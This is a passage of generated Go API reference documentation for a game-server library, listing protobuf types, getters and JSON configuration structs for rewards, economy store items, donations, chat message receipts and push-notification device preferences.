	Operator string `protobuf:"bytes,2,opt,name=operator,proto3" json:"operator,omitempty"`
	// The value of the energy modifier.
	Value *RewardRangeInt64 `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"`
	// The possible duration of the modifier.
	DurationSec *RewardRangeUInt64 `protobuf:"bytes,4,opt,name=duration_sec,json=durationSec,proto3" json:"duration_sec,omitempty"`
	// contains filtered or unexported fields
}

A possible energy reward.

func (*AvailableRewardsEnergyModifier) Descriptor deprecated

func (*AvailableRewardsEnergyModifier) Descriptor() ([]byte, []int)

Deprecated: Use AvailableRewardsEnergyModifier.ProtoReflect.Descriptor instead.

func (*AvailableRewardsEnergyModifier) GetDurationSec

func (*AvailableRewardsEnergyModifier) GetId

func (*AvailableRewardsEnergyModifier) GetOperator

func (x *AvailableRewardsEnergyModifier) GetOperator() string

func (*AvailableRewardsEnergyModifier) GetValue

func (*AvailableRewardsEnergyModifier) ProtoMessage

func (*AvailableRewardsEnergyModifier) ProtoMessage()

func (*AvailableRewardsEnergyModifier) ProtoReflect

func (*AvailableRewardsEnergyModifier) Reset

func (x *AvailableRewardsEnergyModifier) Reset()

func (*AvailableRewardsEnergyModifier) String

type AvailableRewardsItem

type AvailableRewardsItem struct {

	// The possible count of the reward.
	Count *RewardRangeInt64 `protobuf:"bytes,1,opt,name=count,proto3" json:"count,omitempty"`
	// The possible numeric properties of the reward.
	NumericProperties map[string]*RewardRangeDouble `` /* 200-byte string literal not displayed */
	// The possible string properties of the reward.
	StringProperties map[string]*AvailableRewardsStringProperty `` /* 197-byte string literal not displayed */
	// contains filtered or unexported fields
}

A possible item reward.

func (*AvailableRewardsItem) Descriptor deprecated

func (*AvailableRewardsItem) Descriptor() ([]byte, []int)

Deprecated: Use AvailableRewardsItem.ProtoReflect.Descriptor instead.

func (*AvailableRewardsItem) GetCount

func (x *AvailableRewardsItem) GetCount() *RewardRangeInt64

func (*AvailableRewardsItem) GetNumericProperties

func (x *AvailableRewardsItem) GetNumericProperties() map[string]*RewardRangeDouble

func (*AvailableRewardsItem) GetStringProperties

func (x *AvailableRewardsItem) GetStringProperties() map[string]*AvailableRewardsStringProperty

func (*AvailableRewardsItem) ProtoMessage

func (*AvailableRewardsItem) ProtoMessage()

func (*AvailableRewardsItem) ProtoReflect

func (x *AvailableRewardsItem) ProtoReflect() protoreflect.Message

func (*AvailableRewardsItem) Reset

func (x *AvailableRewardsItem) Reset()

func (*AvailableRewardsItem) String

func (x *AvailableRewardsItem) String() string

type AvailableRewardsItemSet

type AvailableRewardsItemSet struct {

	// The number of items to draw from the set.
	Count *RewardRangeInt64 `protobuf:"bytes,1,opt,name=count,proto3" json:"count,omitempty"`
	// The number of repeat items that may be drawn from the set. Also includes the user's inventory.
	MaxRepeats int64 `protobuf:"varint,2,opt,name=max_repeats,json=maxRepeats,proto3" json:"max_repeats,omitempty"`
	// Drawn items must exist in the intersection of these sets.
	Set []string `protobuf:"bytes,3,rep,name=set,proto3" json:"set,omitempty"`
	// contains filtered or unexported fields
}

A possible item reward.

func (*AvailableRewardsItemSet) Descriptor deprecated

func (*AvailableRewardsItemSet) Descriptor() ([]byte, []int)

Deprecated: Use AvailableRewardsItemSet.ProtoReflect.Descriptor instead.

func (*AvailableRewardsItemSet) GetCount

func (*AvailableRewardsItemSet) GetMaxRepeats

func (x *AvailableRewardsItemSet) GetMaxRepeats() int64

func (*AvailableRewardsItemSet) GetSet

func (x *AvailableRewardsItemSet) GetSet() []string

func (*AvailableRewardsItemSet) ProtoMessage

func (*AvailableRewardsItemSet) ProtoMessage()

func (*AvailableRewardsItemSet) ProtoReflect

func (x *AvailableRewardsItemSet) ProtoReflect() protoreflect.Message

func (*AvailableRewardsItemSet) Reset

func (x *AvailableRewardsItemSet) Reset()

func (*AvailableRewardsItemSet) String

func (x *AvailableRewardsItemSet) String() string

type AvailableRewardsRewardModifier

type AvailableRewardsRewardModifier struct {

	// The ID of the reward item, currency, energy, or energy modifier to modify.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The type of reward content to modify.
	Type string `protobuf:"bytes,2,opt,name=type,proto3" json:"type,omitempty"`
	// The operator of the modifier.
	Operator string `protobuf:"bytes,3,opt,name=operator,proto3" json:"operator,omitempty"`
	// The value of the modifier.
	Value *RewardRangeInt64 `protobuf:"bytes,4,opt,name=value,proto3" json:"value,omitempty"`
	// The possible duration of the modifier.
	DurationSec *RewardRangeUInt64 `protobuf:"bytes,5,opt,name=duration_sec,json=durationSec,proto3" json:"duration_sec,omitempty"`
	// contains filtered or unexported fields
}

A possible modifier reward.

func (*AvailableRewardsRewardModifier) Descriptor deprecated

func (*AvailableRewardsRewardModifier) Descriptor() ([]byte, []int)

Deprecated: Use AvailableRewardsRewardModifier.ProtoReflect.Descriptor instead.

func (*AvailableRewardsRewardModifier) GetDurationSec

func (*AvailableRewardsRewardModifier) GetId

func (*AvailableRewardsRewardModifier) GetOperator

func (x *AvailableRewardsRewardModifier) GetOperator() string

func (*AvailableRewardsRewardModifier) GetType

func (*AvailableRewardsRewardModifier) GetValue

func (*AvailableRewardsRewardModifier) ProtoMessage

func (*AvailableRewardsRewardModifier) ProtoMessage()

func (*AvailableRewardsRewardModifier) ProtoReflect

func (*AvailableRewardsRewardModifier) Reset

func (x *AvailableRewardsRewardModifier) Reset()

func (*AvailableRewardsRewardModifier) String

type AvailableRewardsStringProperty

type AvailableRewardsStringProperty struct {

	// The available string property options.
	Options map[string]*AvailableRewardsStringPropertyOption `` /* 155-byte string literal not displayed */
	// The total weight from which the options are selected.
	TotalWeight int64 `protobuf:"varint,2,opt,name=total_weight,json=totalWeight,proto3" json:"total_weight,omitempty"`
	// contains filtered or unexported fields
}

A possible string property.

func (*AvailableRewardsStringProperty) Descriptor deprecated

func (*AvailableRewardsStringProperty) Descriptor() ([]byte, []int)

Deprecated: Use AvailableRewardsStringProperty.ProtoReflect.Descriptor instead.

func (*AvailableRewardsStringProperty) GetOptions

func (*AvailableRewardsStringProperty) GetTotalWeight

func (x *AvailableRewardsStringProperty) GetTotalWeight() int64

func (*AvailableRewardsStringProperty) ProtoMessage

func (*AvailableRewardsStringProperty) ProtoMessage()

func (*AvailableRewardsStringProperty) ProtoReflect

func (*AvailableRewardsStringProperty) Reset

func (x *AvailableRewardsStringProperty) Reset()

func (*AvailableRewardsStringProperty) String

type AvailableRewardsStringPropertyOption

type AvailableRewardsStringPropertyOption struct {

	// The option weight.
	Weight int64 `protobuf:"varint,1,opt,name=weight,proto3" json:"weight,omitempty"`
	// contains filtered or unexported fields
}

A possible string property option.

func (*AvailableRewardsStringPropertyOption) Descriptor deprecated

func (*AvailableRewardsStringPropertyOption) Descriptor() ([]byte, []int)

Deprecated: Use AvailableRewardsStringPropertyOption.ProtoReflect.Descriptor instead.

func (*AvailableRewardsStringPropertyOption) GetWeight

func (*AvailableRewardsStringPropertyOption) ProtoMessage

func (*AvailableRewardsStringPropertyOption) ProtoMessage()

func (*AvailableRewardsStringPropertyOption) ProtoReflect

func (*AvailableRewardsStringPropertyOption) Reset

func (*AvailableRewardsStringPropertyOption) String

type BaseSystem

type BaseSystem interface {
	System

	// RateApp uses the SMTP configuration to receive feedback from players via email.
	RateApp(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, username string, score uint32, message string) (err error)

	// SetDevicePrefs sets push notification tokens on a user's account so push messages can be received.
	SetDevicePrefs(ctx context.Context, logger runtime.Logger, db *sql.DB, userID, deviceID, pushTokenAndroid, pushTokenIos string, preferences map[string]bool) (err error)

	// Sync processes an operation to update the server with offline state changes.
	Sync(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, req *SyncRequest) (resp *SyncResponse, err error)
}

The BaseSystem provides various small features which aren't large enough to be in their own gameplay systems.

type BaseSystemConfig

type BaseSystemConfig struct {
	RateAppSmtpAddr          string `json:"rate_app_smtp_addr,omitempty"`            // "smtp.gmail.com"
	RateAppSmtpUsername      string `json:"rate_app_smtp_username,omitempty"`        // "email@domain"
	RateAppSmtpPassword      string `json:"rate_app_smtp_password,omitempty"`        // "password"
	RateAppSmtpEmailFrom     string `json:"rate_app_smtp_email_from,omitempty"`      // "[email protected]"
	RateAppSmtpEmailFromName string `json:"rate_app_smtp_email_from_name,omitempty"` // My Game Company
	RateAppSmtpEmailSubject  string `json:"rate_app_smtp_email_subject,omitempty"`   // "RateApp Feedback"
	RateAppSmtpEmailTo       string `json:"rate_app_smtp_email_to,omitempty"`        // "[email protected]"
	RateAppSmtpPort          int    `json:"rate_app_smtp_port,omitempty"`            // 587

	RateAppTemplate string `json:"rate_app_template"` // HTML email template
}

BaseSystemConfig is the data definition for the BaseSystem type.

type ChannelMessageAck

type ChannelMessageAck struct {

	// The channel the message was sent to.
	ChannelId string `protobuf:"bytes,1,opt,name=channel_id,json=channelId,proto3" json:"channel_id,omitempty"`
	// The unique ID assigned to the message.
	MessageId string `protobuf:"bytes,2,opt,name=message_id,json=messageId,proto3" json:"message_id,omitempty"`
	// The code representing a message type or category.
	Code int32 `protobuf:"varint,3,opt,name=code,proto3" json:"code,omitempty"`
	// Username of the message sender.
	Username string `protobuf:"bytes,4,opt,name=username,proto3" json:"username,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the message was created.
	CreateTime int64 `protobuf:"varint,5,opt,name=create_time,json=createTime,proto3" json:"create_time,omitempty"`
	// The UNIX time (for gRPC clients) or ISO string (for REST clients) when the message was last updated.
	UpdateTime int64 `protobuf:"varint,6,opt,name=update_time,json=updateTime,proto3" json:"update_time,omitempty"`
	// True if the message was persisted to the channel's history, false otherwise.
	Persistent bool `protobuf:"varint,7,opt,name=persistent,proto3" json:"persistent,omitempty"`
	// The name of the chat room, or an empty string if this message was not sent through a chat room.
	RoomName string `protobuf:"bytes,8,opt,name=room_name,json=roomName,proto3" json:"room_name,omitempty"`
	// The ID of the group, or an empty string if this message was not sent through a group channel.
	GroupId string `protobuf:"bytes,9,opt,name=group_id,json=groupId,proto3" json:"group_id,omitempty"`
	// The ID of the first DM user, or an empty string if this message was not sent through a DM chat.
	UserIdOne string `protobuf:"bytes,10,opt,name=user_id_one,json=userIdOne,proto3" json:"user_id_one,omitempty"`
	// The ID of the second DM user, or an empty string if this message was not sent through a DM chat.
	UserIdTwo string `protobuf:"bytes,11,opt,name=user_id_two,json=userIdTwo,proto3" json:"user_id_two,omitempty"`
	// contains filtered or unexported fields
}

A receipt reply from a channel message send operation.

func (*ChannelMessageAck) Descriptor deprecated

func (*ChannelMessageAck) Descriptor() ([]byte, []int)

Deprecated: Use ChannelMessageAck.ProtoReflect.Descriptor instead.

func (*ChannelMessageAck) GetChannelId

func (x *ChannelMessageAck) GetChannelId() string

func (*ChannelMessageAck) GetCode

func (x *ChannelMessageAck) GetCode() int32

func (*ChannelMessageAck) GetCreateTime

func (x *ChannelMessageAck) GetCreateTime() int64

func (*ChannelMessageAck) GetGroupId

func (x *ChannelMessageAck) GetGroupId() string

func (*ChannelMessageAck) GetMessageId

func (x *ChannelMessageAck) GetMessageId() string

func (*ChannelMessageAck) GetPersistent

func (x *ChannelMessageAck) GetPersistent() bool

func (*ChannelMessageAck) GetRoomName

func (x *ChannelMessageAck) GetRoomName() string

func (*ChannelMessageAck) GetUpdateTime

func (x *ChannelMessageAck) GetUpdateTime() int64

func (*ChannelMessageAck) GetUserIdOne

func (x *ChannelMessageAck) GetUserIdOne() string

func (*ChannelMessageAck) GetUserIdTwo

func (x *ChannelMessageAck) GetUserIdTwo() string

func (*ChannelMessageAck) GetUsername

func (x *ChannelMessageAck) GetUsername() string

func (*ChannelMessageAck) ProtoMessage

func (*ChannelMessageAck) ProtoMessage()

func (*ChannelMessageAck) ProtoReflect

func (x *ChannelMessageAck) ProtoReflect() protoreflect.Message

func (*ChannelMessageAck) Reset

func (x *ChannelMessageAck) Reset()

func (*ChannelMessageAck) String

func (x *ChannelMessageAck) String() string

type CollectionResolverFn

type CollectionResolverFn func(ctx context.Context, systemType SystemType, collection string) (string, error)

type ConfigSource

type ConfigSource[T any] func(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, configID string) (T, error)

ConfigSource is a function which can be used to provide additional on-demand configuration data to a requesting system.

type DevicePrefsRequest

type DevicePrefsRequest struct {

	// The device ID to set.
	DeviceId string `protobuf:"bytes,1,opt,name=device_id,json=deviceId,proto3" json:"device_id,omitempty"`
	// The push token from the Android device. This or 'push_token_ios' must be set.
	PushTokenAndroid string `protobuf:"bytes,2,opt,name=push_token_android,json=pushTokenAndroid,proto3" json:"push_token_android,omitempty"`
	// The push token from the iOS device. This or 'push_token_android' must be set.
	PushTokenIos string `protobuf:"bytes,3,opt,name=push_token_ios,json=pushTokenIos,proto3" json:"push_token_ios,omitempty"`
	// Additional device preferences for push events. Must be owned by the user.
	Preferences map[string]bool `` /* 164-byte string literal not displayed */
	// contains filtered or unexported fields
}

Update or create the mobile push device tokens and preferences.

func (*DevicePrefsRequest) Descriptor deprecated

func (*DevicePrefsRequest) Descriptor() ([]byte, []int)

Deprecated: Use DevicePrefsRequest.ProtoReflect.Descriptor instead.

func (*DevicePrefsRequest) GetDeviceId

func (x *DevicePrefsRequest) GetDeviceId() string

func (*DevicePrefsRequest) GetPreferences

func (x *DevicePrefsRequest) GetPreferences() map[string]bool

func (*DevicePrefsRequest) GetPushTokenAndroid

func (x *DevicePrefsRequest) GetPushTokenAndroid() string

func (*DevicePrefsRequest) GetPushTokenIos

func (x *DevicePrefsRequest) GetPushTokenIos() string

func (*DevicePrefsRequest) ProtoMessage

func (*DevicePrefsRequest) ProtoMessage()

func (*DevicePrefsRequest) ProtoReflect

func (x *DevicePrefsRequest) ProtoReflect() protoreflect.Message

func (*DevicePrefsRequest) Reset

func (x *DevicePrefsRequest) Reset()

func (*DevicePrefsRequest) String

func (x *DevicePrefsRequest) String() string

type EconomyConfig

type EconomyConfig struct {
	InitializeUser    *EconomyConfigInitializeUser       `json:"initialize_user,omitempty"`
	Donations         map[string]*EconomyConfigDonation  `json:"donations,omitempty"`
	StoreItems        map[string]*EconomyConfigStoreItem `json:"store_items,omitempty"`
	Placements        map[string]*EconomyConfigPlacement `json:"placements,omitempty"`
	AllowFakeReceipts bool                               `json:"allow_fake_receipts,omitempty"`
}

EconomyConfig is the data definition for the EconomySystem type.

type EconomyConfigDonation

type EconomyConfigDonation struct {
	Cost                     *EconomyConfigDonationCost `json:"cost,omitempty"`
	Count                    int64                      `json:"count,omitempty"`
	Description              string                     `json:"description,omitempty"`
	DurationSec              int64                      `json:"duration_sec,omitempty"`
	MaxCount                 int64                      `json:"max_count,omitempty"`
	Name                     string                     `json:"name,omitempty"`
	RecipientReward          *EconomyConfigReward       `json:"recipient_reward,omitempty"`
	ContributorReward        *EconomyConfigReward       `json:"contributor_reward,omitempty"`
	UserContributionMaxCount int64                      `json:"user_contribution_max_count,omitempty"`
	AdditionalProperties     map[string]string          `json:"additional_properties,omitempty"`
}

type EconomyConfigDonationCost

type EconomyConfigDonationCost struct {
	Currencies map[string]int64 `json:"currencies,omitempty"`
	Items      map[string]int64 `json:"items,omitempty"`
}

type EconomyConfigInitializeUser

type EconomyConfigInitializeUser struct {
	Currencies map[string]int64 `json:"currencies,omitempty"`
	Items      map[string]int64 `json:"items,omitempty"`
}

type EconomyConfigPlacement

type EconomyConfigPlacement struct {
	Reward               *EconomyConfigReward `json:"reward,omitempty"`
	AdditionalProperties map[string]string    `json:"additional_properties,omitempty"`
}

type EconomyConfigReward

type EconomyConfigReward struct {
	Guaranteed     *EconomyConfigRewardContents   `json:"guaranteed,omitempty"`
	Weighted       []*EconomyConfigRewardContents `json:"weighted,omitempty"`
	MaxRolls       int64                          `json:"max_rolls,omitempty"`
	MaxRepeatRolls int64                          `json:"max_repeat_rolls,omitempty"`
	TotalWeight    int64                          `json:"total_weight,omitempty"`
}

type EconomyConfigRewardContents

type EconomyConfigRewardContents struct {
	Items           map[string]*EconomyConfigRewardItem     `json:"items,omitempty"`
	ItemSets        []*EconomyConfigRewardItemSet           `json:"item_sets,omitempty"`
	Currencies      map[string]*EconomyConfigRewardCurrency `json:"currencies,omitempty"`
	Energies        map[string]*EconomyConfigRewardEnergy   `json:"energies,omitempty"`
	EnergyModifiers []*EconomyConfigRewardEnergyModifier    `json:"energy_modifiers,omitempty"`
	RewardModifiers []*EconomyConfigRewardRewardModifier    `json:"reward_modifiers,omitempty"`
	Weight          int64                                   `json:"weight,omitempty"`
}

type EconomyConfigRewardCurrency

type EconomyConfigRewardCurrency struct {
	EconomyConfigRewardRangeInt64
}

type EconomyConfigRewardEnergy

type EconomyConfigRewardEnergy struct {
	EconomyConfigRewardRangeInt32
}

type EconomyConfigRewardEnergyModifier

type EconomyConfigRewardEnergyModifier struct {
	Id          string                          `json:"id,omitempty"`
	Operator    string                          `json:"operator,omitempty"`
	Value       *EconomyConfigRewardRangeInt64  `json:"value,omitempty"`
	DurationSec *EconomyConfigRewardRangeUInt64 `json:"duration_sec,omitempty"`
}

type EconomyConfigRewardItem

type EconomyConfigRewardItem struct {
	EconomyConfigRewardRangeInt64
	StringProperties  map[string]*EconomyConfigRewardStringProperty `json:"string_properties,omitempty"`
	NumericProperties map[string]*EconomyConfigRewardRangeFloat64   `json:"numeric_properties,omitempty"`
}

type EconomyConfigRewardItemSet

type EconomyConfigRewardItemSet struct {
	EconomyConfigRewardRangeInt64

	MaxRepeats int64    `json:"max_repeats,omitempty"`
	Set        []string `json:"set,omitempty"`
}

type EconomyConfigRewardRangeFloat64

type EconomyConfigRewardRangeFloat64 struct {
	Min      float64 `json:"min,omitempty"`
	Max      float64 `json:"max,omitempty"`
	Multiple float64 `json:"multiple,omitempty"`
}

type EconomyConfigRewardRangeInt32

type EconomyConfigRewardRangeInt32 struct {
	Min      int32 `json:"min,omitempty"`
	Max      int32 `json:"max,omitempty"`
	Multiple int32 `json:"multiple,omitempty"`
}

type EconomyConfigRewardRangeInt64

type EconomyConfigRewardRangeInt64 struct {
	Min      int64 `json:"min,omitempty"`
	Max      int64 `json:"max,omitempty"`
	Multiple int64 `json:"multiple,omitempty"`
}

type EconomyConfigRewardRangeUInt64

type EconomyConfigRewardRangeUInt64 struct {
	Min      uint64 `json:"min,omitempty"`
	Max      uint64 `json:"max,omitempty"`
	Multiple uint64 `json:"multiple,omitempty"`
}

type EconomyConfigRewardRewardModifier

type EconomyConfigRewardRewardModifier struct {
	Id          string                          `json:"id,omitempty"`
	Type        string                          `json:"type,omitempty"`
	Operator    string                          `json:"operator,omitempty"`
	Value       *EconomyConfigRewardRangeInt64  `json:"value,omitempty"`
	DurationSec *EconomyConfigRewardRangeUInt64 `json:"duration_sec,omitempty"`
}

type EconomyConfigRewardStringProperty

type EconomyConfigRewardStringProperty struct {
	TotalWeight int64                                               `json:"total_weight,omitempty"`
	Options     map[string]*EconomyConfigRewardStringPropertyOption `json:"options,omitempty"`
}

type EconomyConfigRewardStringPropertyOption

type EconomyConfigRewardStringPropertyOption struct {
	Weight int64 `json:"weight,omitempty"`
}

type EconomyConfigStoreItem

type EconomyConfigStoreItem struct {
	Category             string                      `json:"category,omitempty"`
	Cost                 *EconomyConfigStoreItemCost `json:"cost,omitempty"`
	Description          string                      `json:"description,omitempty"`
	Name                 string                      `json:"name,omitempty"`
	Reward               *EconomyConfigReward        `json:"reward,omitempty"`
	AdditionalProperties map[string]string           `json:"additional_properties,omitempty"`
	Disabled             bool                        `json:"disabled,omitempty"`
	Unavailable          bool                        `json:"unavailable,omitempty"`
}

type EconomyConfigStoreItemCost

type EconomyConfigStoreItemCost struct {
	Currencies map[string]int64 `json:"currencies,omitempty"`
	Sku        string           `json:"sku,omitempty"`
}

type EconomyDonation

type EconomyDonation struct {

	// The user that owns this donation.
	UserId string `protobuf:"bytes,1,opt,name=user_id,json=userId,proto3" json:"user_id,omitempty"`
	// The count of how much of the donation has already been claimed.
	ClaimCount int64 `protobuf:"varint,2,opt,name=claim_count,json=claimCount,proto3" json:"claim_count,omitempty"`
	// The count of how much has been contributed by users.
	Count int64 `protobuf:"varint,3,opt,name=count,proto3" json:"count,omitempty"`
	// The UNIX timestamp for the current time.
	CurrentTimeSec int64 `protobuf:"varint,4,opt,name=current_time_sec,json=currentTimeSec,proto3" json:"current_time_sec,omitempty"`
	// The description for the donation, if any. May be an i18n code.
	Description string `protobuf:"bytes,5,opt,name=description,proto3" json:"description,omitempty"`
	// The UNIX timestamp when the donation expires.
	ExpireTimeSec int64 `protobuf:"varint,6,opt,name=expire_time_sec,json=expireTimeSec,proto3" json:"expire_time_sec,omitempty"`
	// The ID of the donation.
	Id string `protobuf:"bytes,7,opt,name=id,proto3" json:"id,omitempty"`
	// The maximum "units" which can be collected.
	MaxCount int64 `protobuf:"varint,8,opt,name=max_count,json=maxCount,proto3" json:"max_count,omitempty"`
	// The name for the donation, if any. May be an i18n code.
	Name string `protobuf:"bytes,9,opt,name=name,proto3" json:"name,omitempty"`
	// The configuration for rewards granted to the recipient of the donation.
	RecipientAvailableRewards *AvailableRewards `` /* 139-byte string literal not displayed */
	// The maximum number of donations per contributor.
	UserContributionMaxCount int64 `` /* 139-byte string literal not displayed */
	// The contributors to this donation, if any.
	Contributors []*EconomyDonationContributor `protobuf:"bytes,12,rep,name=contributors,proto3" json:"contributors,omitempty"`
	// The configuration for rewards granted to the contributor of the donation.
	ContributorAvailableRewards *AvailableRewards `` /* 145-byte string literal not displayed */
	// All rewards claimed by the recipient of this donation.
	RecipientRewards []*Reward `protobuf:"bytes,14,rep,name=recipient_rewards,json=recipientRewards,proto3" json:"recipient_rewards,omitempty"`
	// Additional metadata properties.
	AdditionalProperties map[string]string `` /* 210-byte string literal not displayed */
	// contains filtered or unexported fields
}

A donation for a user.

func (*EconomyDonation) Descriptor deprecated

func (*EconomyDonation) Descriptor() ([]byte, []int)

Deprecated: Use EconomyDonation.ProtoReflect.Descriptor instead.

func (*EconomyDonation) GetAdditionalProperties

func (x *EconomyDonation) GetAdditionalProperties() map[string]string

func (*EconomyDonation) GetClaimCount

func (x *EconomyDonation) GetClaimCount() int64

func (*EconomyDonation) GetContributorAvailableRewards

func (x *EconomyDonation) GetContributorAvailableRewards() *AvailableRewards

func (*EconomyDonation) GetContributors

func (x *EconomyDonation) GetContributors() []*EconomyDonationContributor

func (*EconomyDonation) GetCount

func (x *EconomyDonation) GetCount() int64

func (*EconomyDonation) GetCurrentTimeSec

func (x *EconomyDonation) GetCurrentTimeSec() int64

func (*EconomyDonation) GetDescription

func (x *EconomyDonation) GetDescription() string

func (*EconomyDonation) GetExpireTimeSec

func (x *EconomyDonation) GetExpireTimeSec() int64

func (*EconomyDonation) GetId

func (x *EconomyDonation) GetId() string

func (*EconomyDonation) GetMaxCount

func (x *EconomyDonation) GetMaxCount() int64

func (*EconomyDonation) GetName

func (x *EconomyDonation) GetName() string

func (*EconomyDonation) GetRecipientAvailableRewards

func (x *EconomyDonation) GetRecipientAvailableRewards() *AvailableRewards

func (*EconomyDonation) GetRecipientRewards

func (x *EconomyDonation) GetRecipientRewards() []*Reward

func (*EconomyDonation) GetUserContributionMaxCount

func (x *EconomyDonation) GetUserContributionMaxCount() int64

func (*EconomyDonation) GetUserId

func (x *EconomyDonation) GetUserId() string

func (*EconomyDonation) ProtoMessage

func (*EconomyDonation) ProtoMessage()

func (*EconomyDonation) ProtoReflect

func (x *EconomyDonation) ProtoReflect() protoreflect.Message

func (*EconomyDonation) Reset

func (x *EconomyDonation) Reset()

func (*EconomyDonation) String

func (x *EconomyDonation) String() string

type EconomyDonationAck

type EconomyDonationAck struct {

	// True if the donation is newly created.
	Created bool `protobuf:"varint,1,opt,name=created,proto3" json:"created,omitempty"`
	// The donation requested which may already be active or newly created.
	Donation *EconomyDonation `protobuf:"bytes,2,opt,name=donation,proto3" json:"donation,omitempty"`
	// contains filtered or unexported fields
}

An acknowledgement of the idempotent creation of a donation for a user.

func (*EconomyDonationAck) Descriptor deprecated

func (*EconomyDonationAck) Descriptor() ([]byte, []int)

Deprecated: Use EconomyDonationAck.ProtoReflect.Descriptor instead.

func (*EconomyDonationAck) GetCreated

func (x *EconomyDonationAck) GetCreated() bool

func (*EconomyDonationAck) GetDonation

func (x *EconomyDonationAck) GetDonation() *EconomyDonation

func (*EconomyDonationAck) ProtoMessage

func (*EconomyDonationAck) ProtoMessage()

func (*EconomyDonationAck) ProtoReflect

func (x *EconomyDonationAck) ProtoReflect() protoreflect.Message

func (*EconomyDonationAck) Reset

func (x *EconomyDonationAck) Reset()

func (*EconomyDonationAck) String

func (x *EconomyDonationAck) String() string

type EconomyDonationClaimRequest

type EconomyDonationClaimRequest struct {

	// The donation IDs to claim.
	DonationIds []string `protobuf:"bytes,1,rep,name=donation_ids,json=donationIds,proto3" json:"donation_ids,omitempty"`
	// A mapped set of donations to donors to claim.
	Donations map[string]*EconomyDonationClaimRequestDetails `` /* 159-byte string literal not displayed */
	// contains filtered or unexported fields
}

Request to claim one or more donations.

func (*EconomyDonationClaimRequest) Descriptor deprecated

func (*EconomyDonationClaimRequest) Descriptor() ([]byte, []int)

Deprecated: Use EconomyDonationClaimRequest.ProtoReflect.Descriptor instead.

func (*EconomyDonationClaimRequest) GetDonationIds

func (x *EconomyDonationClaimRequest) GetDonationIds() []string

func (*EconomyDonationClaimRequest) GetDonations

func (*EconomyDonationClaimRequest) ProtoMessage

func (*EconomyDonationClaimRequest) ProtoMessage()

func (*EconomyDonationClaimRequest) ProtoReflect

func (*EconomyDonationClaimRequest) Reset

func (x *EconomyDonationClaimRequest) Reset()

func (*EconomyDonationClaimRequest) String

func (x *EconomyDonationClaimRequest) String() string

type EconomyDonationClaimRequestDetails

type EconomyDonationClaimRequestDetails struct {

	// List of donor IDs to claim and amount to claim from each, or empty to claim all available.
	Donors map[string]int64 `` /* 154-byte string literal not displayed */
	// contains filtered or unexported fields
}

Information about a specific donation claim.

func (*EconomyDonationClaimRequestDetails) Descriptor deprecated

func (*EconomyDonationClaimRequestDetails) Descriptor() ([]byte, []int)

Deprecated: Use EconomyDonationClaimRequestDetails.ProtoReflect.Descriptor instead.

func (*EconomyDonationClaimRequestDetails) GetDonors

func (x *EconomyDonationClaimRequestDetails) GetDonors() map[string]int64

func (*EconomyDonationClaimRequestDetails) ProtoMessage

func (*EconomyDonationClaimRequestDetails) ProtoMessage()

func (*EconomyDonationClaimRequestDetails) ProtoReflect

func (*EconomyDonationClaimRequestDetails) Reset

func (*EconomyDonationClaimRequestDetails) String

type EconomyDonationClaimRewards

type EconomyDonationClaimRewards struct {

	// All active donations for the user.
	Donations *EconomyDonationsList `protobuf:"bytes,1,opt,name=donations,proto3" json:"donations,omitempty"`
	// The rewards from this particular claim.
	ClaimedRewards map[string]*RewardList `` /* 191-byte string literal not displayed */
	// contains filtered or unexported fields
}

Response to claiming one or more donations.

func (*EconomyDonationClaimRewards) Descriptor deprecated

func (*EconomyDonationClaimRewards) Descriptor() ([]byte, []int)

Deprecated: Use EconomyDonationClaimRewards.ProtoReflect.Descriptor instead.

func (*EconomyDonationClaimRewards) GetClaimedRewards

func (x *EconomyDonationClaimRewards) GetClaimedRewards() map[string]*RewardList

func (*EconomyDonationClaimRewards) GetDonations

func (*EconomyDonationClaimRewards) ProtoMessage

func (*EconomyDonationClaimRewards) ProtoMessage()

func (*EconomyDonationClaimRewards) ProtoReflect

func (*EconomyDonationClaimRewards) Reset

func (x *EconomyDonationClaimRewards) Reset()

func (*EconomyDonationClaimRewards) String

func (x *EconomyDonationClaimRewards) String() string

type EconomyDonationContributor

type EconomyDonationContributor struct {

	// The user ID that contributed.
	UserId string `protobuf:"bytes,1,opt,name=user_id,json=userId,proto3" json:"user_id,omitempty"`
	// The amount they've donated.
	Count int64 `protobuf:"varint,2,opt,name=count,proto3" json:"count,omitempty"`
	// The amount that has been claimed by the recipient already.
	ClaimCount int64 `protobuf:"varint,3,opt,name=claim_count,json=claimCount,proto3" json:"claim_count,omitempty"`
	// contains filtered or unexported fields
}

A contributor to this donation.

func (*EconomyDonationContributor) Descriptor deprecated

func (*EconomyDonationContributor) Descriptor() ([]byte, []int)

Deprecated: Use EconomyDonationContributor.ProtoReflect.Descriptor instead.

func (*EconomyDonationContributor) GetClaimCount

func (x *EconomyDonationContributor) GetClaimCount() int64

func (*EconomyDonationContributor) GetCount

func (x *EconomyDonationContributor) GetCount() int64

func (*EconomyDonationContributor) GetUserId

func (x *EconomyDonationContributor) GetUserId() string

func (*EconomyDonationContributor) ProtoMessage

func (*EconomyDonationContributor) ProtoMessage()

func (*EconomyDonationContributor) ProtoReflect

func (*EconomyDonationContributor) Reset

func (x *EconomyDonationContributor) Reset()

func (*EconomyDonationContributor) String

func (x *EconomyDonationContributor) String() string

type EconomyDonationGetRequest

type EconomyDonationGetRequest struct {

	// The user IDs to get donations for.
	Ids []string `protobuf:"bytes,1,rep,name=ids,proto3" json:"ids,omitempty"`
	// contains filtered or unexported fields
}

Request to get donations for one or more users.

func (*EconomyDonationGetRequest) Descriptor deprecated

func (*EconomyDonationGetRequest) Descriptor() ([]byte, []int)

Deprecated: Use EconomyDonationGetRequest.ProtoReflect.Descriptor instead.

func (*EconomyDonationGetRequest) GetIds

func (x *EconomyDonationGetRequest) GetIds() []string

func (*EconomyDonationGetRequest) ProtoMessage

func (*EconomyDonationGetRequest) ProtoMessage()

func (*EconomyDonationGetRequest) ProtoReflect

func (*EconomyDonationGetRequest) Reset

func (x *EconomyDonationGetRequest) Reset()

func (*EconomyDonationGetRequest) String

func (x *EconomyDonationGetRequest) String() string

type EconomyDonationGiveRequest

type EconomyDonationGiveRequest struct {

	// The user ID who receives the donation.
